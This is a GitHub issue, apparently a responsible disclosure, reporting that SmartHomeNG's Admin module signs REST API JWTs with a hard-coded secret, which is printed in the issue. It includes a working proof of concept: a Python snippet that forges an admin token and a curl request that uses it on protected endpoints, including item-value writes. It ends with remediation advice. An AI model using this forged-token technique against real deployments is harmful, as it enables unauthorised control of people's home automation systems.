Skip to content

[ Security ] Hard-Coded JWT Secret Bypasses Admin REST Authentication #809

Description

@28Hus

Hard-Coded JWT Secret Bypasses Admin REST Authentication

Hello SmartHomeNG maintainers,

Summary

The Admin module signs and verifies its REST API JWTs with the hard-coded key SmartHomeNG$0815. The same key appears in modules/admin/__init__.py and modules/admin/rest.py. The Admin module metadata has no jwt_secret configuration parameter (module.yaml).

Image

The REST dispatcher accepts any non-empty JWT that verifies with this key. It does not check the token's user, role, or server-side session state. An attacker who can reach the Admin API can forge a token and bypass configured HTTP user credentials. Protected endpoints can expose admin data and modify writable item values, which may trigger connected home automation actions. This affects deployments where the Admin module is enabled and its API is network-reachable.

Evidence

Proof of Concept

Sign a token with the published key, then use it to access the protected item tree:

import time
import jwt

now = int(time.time())
token = jwt.encode(
    {"name": "attacker", "admin": True, "iat": now, "exp": now + 3600},
    "SmartHomeNG$0815",
    algorithm="HS256",
)
print(token)
curl -i \
  -H "Authorization: Bearer <forged-token>" \
  http://<smarthome-host>:<http-port>/api/items/tree

The same token passes the authentication check on PUT /api/items/{item_path}. For a writable item, the request body {"value": true} changes its value.

Remediation

Remove both hard-coded keys. Load one cryptographically random secret from protected deployment configuration and use it consistently for token signing and verification. Fail startup if the secret is missing, and rotate the exposed key so existing tokens are rejected.

Related Works

This report is part of my ongoing security research. If you have any questions, please feel free to @mention me. I would be glad to make a small contribution to improving SmartHomeNG's security.

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions